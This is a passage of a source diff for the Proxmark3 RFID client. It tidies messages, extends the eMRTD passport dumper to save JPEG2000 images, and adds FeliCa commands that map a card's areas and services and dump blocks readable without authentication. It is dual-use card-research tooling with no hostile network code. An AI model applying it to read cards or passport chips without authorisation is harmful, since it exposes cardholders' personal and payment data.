CmdHFCryptoRFELoad(const char *Cmd) { // set up buffer uint8_t *data = calloc(datalen, sizeof(uint8_t)); if (data == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -505,7 +505,7 @@ static int CmdHFCryptoRFESave(const char *Cmd) { // set up buffer uint8_t *data = calloc(numofbytes, sizeof(uint8_t)); if (data == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } diff --git a/client/src/cmdhfemrtd.c b/client/src/cmdhfemrtd.c index be11aea2b..5d0182d56 100644 --- a/client/src/cmdhfemrtd.c +++ b/client/src/cmdhfemrtd.c @@ -39,7 +39,7 @@ // Average EF_DG2 seems to be around 20-25kB or so, but ICAO doesn't set an upper limit // Iris data seems to be suggested to be around 35kB per eye (Presumably bumping up the file size to around 70kB) // but as we cannot read that until we implement PACE, 35k seems to be a safe point. -#define EMRTD_MAX_FILE_SIZE 35000 +#define EMRTD_MAX_FILE_SIZE 70000 // ISO7816 commands #define EMRTD_P1_SELECT_BY_EF 0x02 @@ -411,13 +411,13 @@ static void emrtd_deskey(uint8_t *seed, const uint8_t *type, int length, uint8_t PrintAndLogEx(DEBUG, "seed.............. %s", sprint_hex_inrow(seed, 16)); // combine seed and type - uint8_t data[50]; + uint8_t data[50] = { 0x00 }; memcpy(data, seed, length); memcpy(data + length, type, 4); PrintAndLogEx(DEBUG, "data.............. %s", sprint_hex_inrow(data, length + 4)); // SHA1 the key - unsigned char key[64]; + unsigned char key[64] = { 0x00 }; sha1hash(data, length + 4, key); PrintAndLogEx(DEBUG, "key............... %s", sprint_hex_inrow(key, length + 4)); @@ -767,37 +767,51 @@ static bool emrtd_select_and_read(uint8_t *dataout, size_t *dataoutlen, uint16_t static const uint8_t jpeg_header[4] = { 0xFF, 0xD8, 0xFF, 0xE0 }; static const uint8_t jpeg2k_header[6] = { 0x00, 0x00, 0x00, 0x0C, 0x6A, 0x50 }; +static const uint8_t jpeg2k_cs_header[4] = { 0xFF, 0x4F, 0xFF, 0x51 }; static int emrtd_dump_ef_dg2(uint8_t *file_contents, size_t file_length, const char *path) { size_t offset; int datalen = 0; + char suffix[5] = { '\0' }; // This is a hacky impl that just looks for the image header. I'll improve it eventually. // based on mrpkey.py // Note: Doing file_length - 6 to account for the longest data we're checking. // Checks first byte before the rest to reduce overhead for (offset = 0; offset < file_length - 6; offset++) { - if ((file_contents[offset] == 0xFF && memcmp(jpeg_header, file_contents + offset, 4) == 0) || - (file_contents[offset] == 0x00 && memcmp(jpeg2k_header, file_contents + offset, 6) == 0)) { + if (file_contents[offset] == 0xFF) { + if (memcmp(jpeg_header, file_contents + offset, 4) == 0) { + datalen = file_length - offset; + strcpy(suffix, ".jpg"); + break; + } else if (memcmp(jpeg2k_cs_header, file_contents + offset, 4) == 0) { + datalen = file_length - offset; + // no standardized extension for codestream data, using .jpc + strcpy(suffix, ".jpc"); + break; + } + } else if (file_contents[offset] == 0x00 && memcmp(jpeg2k_header, file_contents + offset, 6) == 0) { + strcpy(suffix, ".jp2"); datalen = file_length - offset; break; } } - // If we didn't get any data, return false. if (datalen == 0) { return PM3_ESOFT; } char *filepath = calloc(strlen(path) + 100, sizeof(char)); - if (filepath == NULL) + if (filepath == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; + } strcpy(filepath, path); strncat(filepath, PATHSEP, 2); strcat(filepath, dg_table[EF_DG2].filename); - saveFile(filepath, file_contents[offset] == 0xFF ? ".jpg" : ".jp2", file_contents + offset, datalen); + saveFile(filepath, suffix, file_contents + offset, datalen); free(filepath); return PM3_SUCCESS; @@ -815,6 +829,7 @@ static int emrtd_dump_ef_dg5(uint8_t *file_contents, size_t file_length, const c if (datalen < EMRTD_MAX_FILE_SIZE) { char *filepath = calloc(strlen(path) + 100, sizeof(char)); if (filepath == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } strcpy(filepath, path); @@ -843,6 +858,7 @@ static int emrtd_dump_ef_dg7(uint8_t *file_contents, size_t file_length, const c if (datalen < EMRTD_MAX_FILE_SIZE) { char *filepath = calloc(strlen(path) + 100, sizeof(char)); if (filepath == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } strcpy(filepath, path); @@ -870,6 +886,7 @@ static int emrtd_dump_ef_sod(uint8_t *file_contents, size_t file_length, const c char *filepath = calloc(strlen(path) + 100, sizeof(char)); if (filepath == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -892,6 +909,7 @@ static bool emrtd_dump_file(uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, uint char *filepath = calloc(strlen(path) + 100, sizeof(char)); if (filepath == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return false; } @@ -945,7 +963,7 @@ static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t char dobcd = emrtd_calculate_check_digit(dob); char expirycd = emrtd_calculate_check_digit(expiry); - char kmrz[25]; + char kmrz[25] = { 0x00 }; snprintf(kmrz, sizeof(kmrz), "%s%i%s%i%s%i", documentnumber, documentnumbercd, dob, dobcd, expiry, expirycd); PrintAndLogEx(DEBUG, "kmrz.............. " _GREEN_("%s"), kmrz); @@ -1065,7 +1083,7 @@ static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BA // If BAC isn't available, exit out and warn user. if (BAC_available == false) { PrintAndLogEx(ERR, "This eMRTD enforces authentication, but you didn't supply MRZ data. Cannot proceed."); - PrintAndLogEx(HINT, "Check out `hf emrtd info/dump --h`, supply data with `-n` `-d` and `-e`"); + PrintAndLogEx(HINT, "Hint: Check out `" _YELLOW_("hf emrtd info/dump --h") "`, supply data with `-n` `-d` and `-e`"); return false; } @@ -1093,7 +1111,7 @@ int dumpHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab // Dump EF_CardAccess (if available) if (emrtd_dump_file(ks_enc, ks_mac, ssc, dg_table[EF_CardAccess].fileid, dg_table[EF_CardAccess].filename, BAC, path) == false) { PrintAndLogEx(INFO, "Couldn't dump EF_CardAccess, card does not support PACE"); - PrintAndLogEx(HINT, "This is expected behavior for cards without PACE, and isn't something to be worried about"); + PrintAndLogEx(HINT, "Hint: This is expected behavior for cards without PACE and isn't something to be worried about"); } // Authenticate with the eMRTD @@ -1112,6 +1130,7 @@ int dumpHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab char *filepath = calloc(strlen(path) + 100, sizeof(char)); if (filepath == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1377,7 +1396,7 @@ static void emrtd_print_unknown_timestamp_5f85(uint8_t *data, size_t datalen) { ); PrintAndLogEx(SUCCESS, "Unknown timestamp 5F85... " _YELLOW_("%s"), final_date); - PrintAndLogEx(HINT, "This is very likely the personalization timestamp, but it is using an undocumented tag."); + PrintAndLogEx(HINT, "Hint: This is very likely the personalization timestamp but it is using an undocumented tag."); } static int emrtd_print_ef_com_info(uint8_t *data, size_t datalen) { @@ -1399,7 +1418,8 @@ static int emrtd_print_ef_com_info(uint8_t *data, size_t datalen) { continue; } int n = 25 - strlen(dg->filename); - PrintAndLogEx(SUCCESS, "%s%*.*s " _YELLOW_("%s"), dg->filename, n, n, pad, dg->desc); + PrintAndLogEx(SUCCESS, "%s%.*s " _YELLOW_("%s"), dg->filename, n, pad, dg->desc); + } return PM3_SUCCESS; } @@ -1862,7 +1882,7 @@ static int emrtd_parse_ef_sod_hashes(uint8_t *data, size_t datalen, uint8_t *has static int emrtd_print_ef_sod_info(uint8_t *dg_hashes_calc, uint8_t *dg_hashes_sod, int hash_algo, bool fastdump) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "------------------------ " _CYAN_("EF_SOD") " ------------------------"); - PrintAndLogEx(INFO, "Document Security Object, "); + PrintAndLogEx(INFO, "Document Security Object"); PrintAndLogEx(INFO, "contains the digital signatures of the passport data"); PrintAndLogEx(INFO, ""); @@ -1891,17 +1911,17 @@ static int emrtd_print_ef_sod_info(uint8_t *dg_hashes_calc, uint8_t *dg_hashes_s if (calc_all_zero == true) { if (fastdump && !dg_table[i].fastdump && !dg_table[i].pace && !dg_table[i].eac) { - PrintAndLogEx(SUCCESS, "EF_DG%2i %s %*.*s File was skipped, but is in EF_SOD", i, dg_table[i].desc, n, n, pad); + PrintAndLogEx(SUCCESS, _YELLOW_("EF_DG%-2i") " %s%.*s File was skipped, but is in EF_SOD", i, dg_table[i].desc, n, pad); } else { - PrintAndLogEx(SUCCESS, "EF_DG%2i %s %*.*s File couldn't be read, but is in EF_SOD", i, dg_table[i].desc, n, n, pad); + PrintAndLogEx(SUCCESS, _YELLOW_("EF_DG%-2i") " %s%.*s File couldn't be read, but is in EF_SOD", i, dg_table[i].desc, n, pad); } } else if (sod_all_zero == true) { - PrintAndLogEx(SUCCESS, "EF_DG%2i %s %*.*s " _RED_("File is not in EF_SOD"), i, dg_table[i].desc, n, n, pad); + PrintAndLogEx(SUCCESS, _YELLOW_("EF_DG%-2i") " %s%.*s " _RED_("File is not in EF_SOD"), i, dg_table[i].desc, n, pad); } else if (hash_matches == false) { - PrintAndLogEx(SUCCESS, "EF_DG%2i %s %*.*s " _RED_("Invalid"), i, dg_table[i].desc, n, n, pad); + PrintAndLogEx(SUCCESS, _YELLOW_("EF_DG%-2i") " %s%.*s " _RED_("Invalid"), i, dg_table[i].desc, n, pad); } else { - PrintAndLogEx(SUCCESS, "EF_DG%2i %s %*.*s " _GREEN_("Valid"), i, dg_table[i].desc, n, n, pad); + PrintAndLogEx(SUCCESS, _YELLOW_("EF_DG%-2i") " %s%.*s " _GREEN_("Valid"), i, dg_table[i].desc, n, pad); } } } @@ -1986,7 +2006,7 @@ int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab // Read EF_CardAccess if (emrtd_select_and_read(response, &resplen, dg_table[EF_CardAccess].fileid, ks_enc, ks_mac, ssc, BAC) == false) { PACE_available = false; - PrintAndLogEx(HINT, "The error above this is normal. It just means that your eMRTD lacks PACE."); + PrintAndLogEx(HINT, "Hint: The error above this is normal. It just means that your eMRTD lacks PACE."); } // Select and authenticate with the eMRTD @@ -2073,7 +2093,7 @@ int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab DropField(); emrtd_print_ef_sod_info(*dg_hashes_calc, *dg_hashes_sod, hash_algo, true); - + PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } @@ -2082,6 +2102,7 @@ int infoHF_EMRTD_offline(const char *path) { size_t datalen = 0; char *filepath = calloc(strlen(path) + 100, sizeof(char)); if (filepath == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } strcpy(filepath, path); @@ -2127,7 +2148,7 @@ int infoHF_EMRTD_offline(const char *path) { emrtd_print_ef_cardaccess_info(data, datalen); free(data); } else { - PrintAndLogEx(HINT, "The error above this is normal. It just means that your eMRTD lacks PACE"); + PrintAndLogEx(HINT, "Hint: The error above this is normal. It just means that your eMRTD lacks PACE"); } strcpy(filepath, path); @@ -2155,11 +2176,13 @@ int infoHF_EMRTD_offline(const char *path) { // Read files in the file list for (int i = 0; i < filelistlen; i++) { + emrtd_dg_t *dg = emrtd_tag_to_dg(filelist[i]); if (dg == NULL) { PrintAndLogEx(INFO, "File tag not found, skipping... %02X", filelist[i]); continue; } + if (!dg->pace && !dg->eac) { strcpy(filepath, path); strncat(filepath, PATHSEP, 2); @@ -2185,7 +2208,7 @@ int infoHF_EMRTD_offline(const char *path) { free(filepath); emrtd_print_ef_sod_info(*dg_hashes_calc, *dg_hashes_sod, hash_algo, false); - + PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } @@ -2248,7 +2271,7 @@ static int CmdHFeMRTDDump(const char *Cmd) { } else { if (!validate_date(dob, slen)) { PrintAndLogEx(ERR, "Date of birth date format is incorrect, cannot continue."); - PrintAndLogEx(HINT, "Use the format YYMMDD."); + PrintAndLogEx(HINT, "Hint: Use the format YYMMDD."); error = true; } } @@ -2258,7 +2281,7 @@ static int CmdHFeMRTDDump(const char *Cmd) { } else { if (!validate_date(expiry, slen)) { PrintAndLogEx(ERR, "Expiry date format is incorrect, cannot continue."); - PrintAndLogEx(HINT, "Use the format YYMMDD."); + PrintAndLogEx(HINT, "Hint: Use the format YYMMDD."); error = true; } } @@ -2276,12 +2299,12 @@ static int CmdHFeMRTDDump(const char *Cmd) { // TODO check MRZ checksums? if (!validate_date(dob, 6)) { PrintAndLogEx(ERR, "Date of birth date format is incorrect, cannot continue."); - PrintAndLogEx(HINT, "Use the format YYMMDD."); + PrintAndLogEx(HINT, "Hint: Use the format YYMMDD."); error = true; } if (!validate_date(expiry, 6)) { PrintAndLogEx(ERR, "Expiry date format is incorrect, cannot continue."); - PrintAndLogEx(HINT, "Use the format YYMMDD."); + PrintAndLogEx(HINT, "Hint: Use the format YYMMDD."); error = true; } } @@ -2355,7 +2378,7 @@ static int CmdHFeMRTDInfo(const char *Cmd) { } else { if (!validate_date(dob, slen)) { PrintAndLogEx(ERR, "Date of birth date format is incorrect, cannot continue."); - PrintAndLogEx(HINT, "Use the format YYMMDD."); + PrintAndLogEx(HINT, "Hint: Use the format YYMMDD."); error = true; } } @@ -2365,7 +2388,7 @@ static int CmdHFeMRTDInfo(const char *Cmd) { } else { if (!validate_date(expiry, slen)) { PrintAndLogEx(ERR, "Expiry date format is incorrect, cannot continue."); - PrintAndLogEx(HINT, "Use the format YYMMDD."); + PrintAndLogEx(HINT, "Hint: Use the format YYMMDD."); error = true; } } @@ -2383,12 +2406,12 @@ static int CmdHFeMRTDInfo(const char *Cmd) { // TODO check MRZ checksums? if (!validate_date(dob, 6)) { PrintAndLogEx(ERR, "Date of birth date format is incorrect, cannot continue."); - PrintAndLogEx(HINT, "Use the format YYMMDD."); + PrintAndLogEx(HINT, "Hint: Use the format YYMMDD."); error = true; } if (!validate_date(expiry, 6)) { PrintAndLogEx(ERR, "Expiry date format is incorrect, cannot continue."); - PrintAndLogEx(HINT, "Use the format YYMMDD."); + PrintAndLogEx(HINT, "Hint: Use the format YYMMDD."); error = true; } } @@ -2426,8 +2449,9 @@ static int CmdHFeMRTDList(const char *Cmd) { static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"-----------", CmdHelp, IfPm3Iso14443, "------------------- " _CYAN_("Operations") " -------------------"}, {"dump", CmdHFeMRTDDump, IfPm3Iso14443, "Dump eMRTD files to binary files"}, - {"info", CmdHFeMRTDInfo, AlwaysAvailable, "Display info about an eMRTD"}, + {"info", CmdHFeMRTDInfo, AlwaysAvailable, "Tag information"}, {"list", CmdHFeMRTDList, AlwaysAvailable, "List ISO 14443A/7816 history"}, {NULL, NULL, NULL, NULL} }; diff --git a/client/src/cmdhfepa.c b/client/src/cmdhfepa.c index 4c6c67f72..c59d2b51a 100644 --- a/client/src/cmdhfepa.c +++ b/client/src/cmdhfepa.c @@ -73,7 +73,6 @@ static int CmdHFEPACollectPACENonces(const char *Cmd) { PacketResponseNG resp; clearCommandBuffer(); SendCommandNG(CMD_HF_EPA_COLLECT_NONCE, (uint8_t *)&payload, sizeof(payload)); - WaitForResponse(CMD_HF_EPA_COLLECT_NONCE, &resp); // check if command failed @@ -82,7 +81,13 @@ static int CmdHFEPACollectPACENonces(const char *Cmd) { } else { size_t nonce_length = resp.oldarg[1]; size_t nonce_length_bytes = 2 * nonce_length + 1; + char *nonce = (char *) calloc(2 * nonce_length + 1, sizeof(uint8_t)); + if (nonce == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } + for (int j = 0; j < nonce_length; j++) { int nonce_offset = 2 * j; snprintf(nonce + nonce_offset, (nonce_length_bytes * sizeof(uint8_t)) - nonce_offset, "%02X", resp.data.asBytes[j]); @@ -241,7 +246,6 @@ static int CmdHFEPAPACESimulate(const char *Cmd) { clearCommandBuffer(); SendCommandMIX(CMD_HF_EPA_PACE_SIMULATE, 0, 0, 0, pwd, plen); - PacketResponseNG resp; WaitForResponse(CMD_ACK, &resp); diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index be0fe2e62..5c48bbefe 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -29,9 +29,28 @@ #include "ui.h" #include "iso18.h" // felica_card_select_t struct #include "des.h" +#include "platform_util.h" #include "cliparser.h" // cliparser #include "util_posix.h" // msleep + +#define FELICA_BLK_SIZE 16 +#define FELICA_BLK_HALF (FELICA_BLK_SIZE/2) + +#define FELICA_BLK_NUMBER_RC 0x80 +#define FELICA_BLK_NUMBER_ID 0x82 +#define FELICA_BLK_NUMBER_WCNT 0x90 +#define FELICA_BLK_NUMBER_MACA 0x91 +#define FELICA_BLK_NUMBER_STATE 0x92 + +#define FELICA_SERVICE_ATTRIBUTE_UNAUTH_READ (0b000001) +#define FELICA_SERVICE_ATTRIBUTE_READ_ONLY (0b000010) +#define FELICA_SERVICE_ATTRIBUTE_RANDOM_ACCESS (0b001000) +#define FELICA_SERVICE_ATTRIBUTE_CYCLIC (0b001100) +#define FELICA_SERVICE_ATTRIBUTE_PURSE (0b010000) +#define FELICA_SERVICE_ATTRIBUTE_PURSE_SUBFIELD (0b000110) + + #define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len)) static int CmdHelp(const char *Cmd); @@ -250,6 +269,7 @@ static const char *felica_model_name(uint8_t rom_type, uint8_t ic_type) { return "FeliCa Standard RC-S919"; case 0x0B: case 0x31: + case 0x36: return "Suica card (FeliCa Standard RC-S ?)"; default: break; @@ -264,7 +284,7 @@ static const char *felica_model_name(uint8_t rom_type, uint8_t ic_type) { */ static bool waitCmdFelica(bool iSelect, PacketResponseNG *resp, bool verbose) { if (WaitForResponseTimeout(CMD_ACK, resp, 2000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return false; } @@ -348,7 +368,7 @@ int read_felica_uid(bool loop, bool verbose) { res = PM3_SUCCESS; } - } while (loop && kbd_enter_pressed() == false); + } while (loop && (kbd_enter_pressed() == false)); DropField(); return res; @@ -473,7 +493,7 @@ static void print_rd_plain_response(felica_read_without_encryption_response_t *r temp = sprint_hex(rd_noCry_resp->block_element_number, sizeof(rd_noCry_resp->block_element_number)); strncpy(bl_element_number, temp, sizeof(bl_element_number) - 1); - PrintAndLogEx(INFO, " %s | %s ", bl_element_number, bl_data); + PrintAndLogEx(INFO, " %s | %s ", bl_element_number, bl_data); } else { PrintAndLogEx(SUCCESS, "IDm... %s", sprint_hex_inrow(rd_noCry_resp->frame_response.IDm, sizeof(rd_noCry_resp->frame_response.IDm))); PrintAndLogEx(SUCCESS, " Status flag 1... %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); @@ -531,6 +551,28 @@ int send_rd_plain(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, } } +/** + * Sends a dump_service frame to the pm3 and prints response. + * @param flags to use for pm3 communication. + * @param datalen frame length. + * @param data frame to be send. + * @param verbose display additional output. + * @param dump_sv_resp frame in which the response will be saved. + * @param is_area true if the service is an area, false if it is a service. + * @return success if response was received. + */ +int send_dump_sv_plain(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_service_dump_response_t *dump_sv_resp, bool is_area) { + clear_and_send_command(flags, datalen, data, verbose); + PacketResponseNG resp; + if (waitCmdFelica(false, &resp, verbose) == false) { + PrintAndLogEx(ERR, "No response from card"); + return PM3_ERFTRANS; + } else { + memcpy(dump_sv_resp, (felica_service_dump_response_t *)resp.data.asBytes, sizeof(felica_service_dump_response_t)); + return PM3_SUCCESS; + } +} + /** * Checks if last known card can be added to data and adds it if possible. * @param custom_IDm @@ -1634,6 +1676,152 @@ static int CmdHFFelicaRequestSystemCode(const char *Cmd) { return PM3_SUCCESS; } +/** + * Command parser for rqservice. + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaDump(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf felica dump", + "Dump all existing Area Code and Service Code.\n" + "Only works on services that do not require authentication yet.\n", + "hf felica dump"); + void *argtable[] = { + arg_param_begin, + arg_lit0(NULL, "no-auth", "read public services"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + CLIParserFree(ctx); + + // bool no_auth = arg_get_lit(ctx, 1); + + uint8_t data_service_dump[PM3_CMD_DATA_SIZE] = {0}; + data_service_dump[0] = 0x0C; + data_service_dump[1] = 0x0A; + uint16_t service_datalen = 12; + if (!check_last_idm(data_service_dump, service_datalen)) + return PM3_EINVARG; + + uint8_t data_block_dump[PM3_CMD_DATA_SIZE] = {0}; + data_block_dump[0] = 0x10; // Static length + data_block_dump[1] = 0x06; // unauth read block command + data_block_dump[10] = 0x01; // read one service at a time + data_block_dump[13] = 0x01; // read one block at a time + data_block_dump[14] = 0x80; // block list element first byte + uint16_t block_datalen = 16; // Length (1), Command ID (1), IDm (8), Number of Service (1), Service Code List(2), Number of Block(1), Block List(3) + if (!check_last_idm(data_block_dump, block_datalen)) { + return PM3_EINVARG; + } + + uint8_t flags = FELICA_APPEND_CRC | FELICA_RAW; + + uint16_t cursor = 0x0000; + + felica_service_dump_response_t resp; + + while (true) { + + data_service_dump[10] = cursor & 0xFF; + data_service_dump[11] = cursor >> 8; + AddCrc(data_service_dump, service_datalen); + + if (send_dump_sv_plain(flags, service_datalen + 2, data_service_dump, 0, + &resp, false) != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "No response at cursor 0x%04X", cursor); + return PM3_ERFTRANS; + } + if (resp.frame_response.cmd_code[0] != 0x0B) { + PrintAndLogEx(FAILED, "Bad response cmd 0x%02X @ 0x%04X.", + resp.frame_response.cmd_code[0], cursor); + PrintAndLogEx(INFO, "This is a normal signal issue. Please try again."); + PrintAndLogEx(INFO, "If the issue persists, move the card around and check signal strength. FeliCa can be hard to keep in field."); + return PM3_ERFTRANS; + } + uint8_t len = resp.frame_response.length[0]; + uint16_t node_code = resp.payload[0] | (resp.payload[1] << 8); + if (node_code == 0xFFFF) break; + char attrib_str[64] = ""; + switch (len) { + case 0x0E: + break; + case 0x0C: { + uint8_t attribute = node_code & 0x3F; + bool is_public = (attribute & FELICA_SERVICE_ATTRIBUTE_UNAUTH_READ) != 0; + strcat(attrib_str, is_public ? "| Public " : "| Private "); + + bool is_purse = (attribute & FELICA_SERVICE_ATTRIBUTE_PURSE) != 0; + // Subfield bitwise attributes are applicable depending on is PURSE or not + + if (is_purse) { + strcat(attrib_str, "| Purse |"); + switch ((attribute & FELICA_SERVICE_ATTRIBUTE_PURSE_SUBFIELD) >> 1) { + case 0: + strcat(attrib_str, " Direct |"); + break; + case 1: + strcat(attrib_str, " Cashback |"); + break; + case 2: + strcat(attrib_str, " Decrement |"); + break; + case 3: + strcat(attrib_str, " Read Only |"); + break; + default: + strcat(attrib_str, " Unknown |"); + break; + } + } else { + bool is_random = (attribute & FELICA_SERVICE_ATTRIBUTE_RANDOM_ACCESS) != 0; + strcat(attrib_str, is_random ? "| Random |" : "| Cyclic |"); + bool is_readonly = (attribute & FELICA_SERVICE_ATTRIBUTE_READ_ONLY) != 0; + strcat(attrib_str, is_readonly ? " Read Only |" : " Read/Write |"); + } + + PrintAndLogEx(INFO, "Service %04X %s", node_code, attrib_str); + + if (is_public) { + // dump blocks here + PrintAndLogEx(INFO, " block | data "); + PrintAndLogEx(INFO, "-------+----------------------------------------"); + + data_block_dump[11] = resp.payload[0]; // convert service code to little endian + data_block_dump[12] = resp.payload[1]; + + uint16_t last_blockno = 0xFF; + for (uint16_t i = 0x00; i < last_blockno; i++) { + data_block_dump[15] = i; + AddCrc(data_block_dump, block_datalen); + felica_read_without_encryption_response_t rd_noCry_resp; + if ((send_rd_plain(flags, block_datalen + 2, data_block_dump, 0, &rd_noCry_resp) == PM3_SUCCESS)) { + if (rd_noCry_resp.status_flags.status_flag1[0] == 0 && rd_noCry_resp.status_flags.status_flag2[0] == 0) { + print_rd_plain_response(&rd_noCry_resp); + } else { + break; // no more blocks to read + } + } else { + break; + } + } + } + break; + } + default: + PrintAndLogEx(FAILED, "Unexpected length 0x%02X @ 0x%04X", + len, cursor); + return PM3_ERFTRANS; + } + cursor++; + if (cursor == 0) break; + } + + PrintAndLogEx(SUCCESS, "Unauth service dump complete."); + return PM3_SUCCESS; +} + + /** * Command parser for rqservice. * @param Cmd input data of the user. @@ -1743,18 +1931,119 @@ static int CmdHFFelicaRequestService(const char *Cmd) { return PM3_SUCCESS; } -static int CmdHFFelicaNotImplementedYet(const char *Cmd) { +/** + * Command parser for rqservice. + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaDumpServiceArea(const char *Cmd) { + /* -- CLI boilerplate (unchanged) ------------------------------- */ CLIParserContext *ctx; CLIParserInit(&ctx, "hf felica scsvcode", - "Feature not implemented yet. Feel free to contribute!", - "hf felica scsvcode" - ); - void *argtable[] = { - arg_param_begin, - arg_param_end - }; - CLIExecWithReturn(ctx, Cmd, argtable, false); + "Dump all existing Area Code and Service Code.\n", + "hf felica scsvcode"); + void *argtable[] = { arg_param_begin, arg_param_end }; + CLIExecWithReturn(ctx, Cmd, argtable, true); CLIParserFree(ctx); + + /* -- build static part of Search-Service frame ---------------- */ + uint8_t data[PM3_CMD_DATA_SIZE] = {0}; + data[0] = 0x0C; /* LEN */ + data[1] = 0x0A; /* CMD = 0x0A */ + uint16_t datalen = 12; /* LEN + CMD + IDm + cursor */ + + if (!check_last_idm(data, datalen)) + return PM3_EINVARG; + + PrintAndLogEx(HINT, "Area and service code are printed in big endian."); + PrintAndLogEx(HINT, "Don't forget to convert to little endian when using hf felica rdbl."); + PrintAndLogEx(INFO, "┌───────────────────────────────────────────────"); + + uint8_t flags = FELICA_APPEND_CRC | FELICA_RAW; + + /* -- traversal state ------------------------------------------ */ + uint16_t cursor = 0x0000; + uint16_t area_end_stack[8] = {0xFFFF}; /* root “end” = 0xFFFF */ + int depth = 0; /* current stack depth */ + + felica_service_dump_response_t resp; + + while (true) { + + /* insert cursor LE */ + data[10] = cursor & 0xFF; + data[11] = cursor >> 8; + AddCrc(data, datalen); + + if (send_dump_sv_plain(flags, datalen + 2, data, 0, + &resp, false) != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "No response at cursor 0x%04X", cursor); + return PM3_ERFTRANS; + } + if (resp.frame_response.cmd_code[0] != 0x0B) { + PrintAndLogEx(FAILED, "Bad response cmd 0x%02X @ 0x%04X.", + resp.frame_response.cmd_code[0], cursor); + PrintAndLogEx(INFO, "This is a normal signal issue. Please try again."); + PrintAndLogEx(INFO, "If the issue persists, move the card around and check signal strength. FeliCa can be hard to keep in field."); + return PM3_ERFTRANS; + } + + uint8_t len = resp.frame_response.length[0]; + uint16_t node_code = resp.payload[0] | (resp.payload[1] << 8); + + if (node_code == 0xFFFF) break; /* end-marker */ + + /* pop finished areas */ + while (depth && node_code > area_end_stack[depth]) depth--; + + + /* ----- compose nice prefix ------------------------------------ */ + char prefix[64] = ""; + for (int i = 1; i < depth; i++) { + bool more_siblings = (cursor < area_end_stack[i]); + strcat(prefix, more_siblings ? "│ " : " "); + } + /* decide glyph for this line (areas always use └──) */ + const char *line_glyph = "├── "; + strcat(prefix, line_glyph); + + /* ----- print --------------------------------------------------- */ + if (len == 0x0E) { /* AREA node */ + uint16_t end_code = resp.payload[2] | (resp.payload[3] << 8); + PrintAndLogEx(INFO, "%sAREA_%04X", prefix, node_code >> 6); + + if (depth < 7) { + area_end_stack[++depth] = end_code; + } + } else if (len == 0x0C) { /* SERVICE */ + PrintAndLogEx(INFO, "%ssvc_%04X", prefix, node_code); + } else { + PrintAndLogEx(FAILED, "Unexpected length 0x%02X @ 0x%04X", + len, cursor); + return PM3_ERFTRANS; + } + cursor++; + if (cursor == 0) break; /* overflow safety */ + } + + /* draw closing bar └─┴─... based on final depth */ + char bar[128]; /* large enough for depth ≤ 7 */ + size_t pos = 0; + + /* leading corner */ + pos += snprintf(bar + pos, sizeof(bar) - pos, "└"); + + /* one segment per level-1 */ + for (int i = 0; i < depth - 1 && pos < sizeof(bar); i++) + pos += snprintf(bar + pos, sizeof(bar) - pos, "───┴"); + + /* tail */ + snprintf(bar + pos, sizeof(bar) - pos, "───────────────────────"); + + PrintAndLogEx(INFO, "%s", bar); + + + PrintAndLogEx(SUCCESS, "Service code and area dump complete."); return PM3_SUCCESS; } @@ -1803,7 +2092,7 @@ static int CmdHFFelicaSniff(const char *Cmd) { for (;;) { if (kbd_enter_pressed()) { SendCommandNG(CMD_BREAK_LOOP, NULL, 0); - PrintAndLogEx(DEBUG, "User aborted"); + PrintAndLogEx(DEBUG, "\naborted via keyboard!"); msleep(300); break; } @@ -1816,7 +2105,7 @@ static int CmdHFFelicaSniff(const char *Cmd) { } } - PrintAndLogEx(HINT, "try `" _YELLOW_("hf felica list") "` to view"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf felica list") "` to view"); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -1851,7 +2140,7 @@ static int CmdHFFelicaSimLite(const char *Cmd) { for (;;) { if (kbd_enter_pressed()) { SendCommandNG(CMD_BREAK_LOOP, NULL, 0); - PrintAndLogEx(DEBUG, "User aborted"); + PrintAndLogEx(DEBUG, "\naborted via keyboard!"); 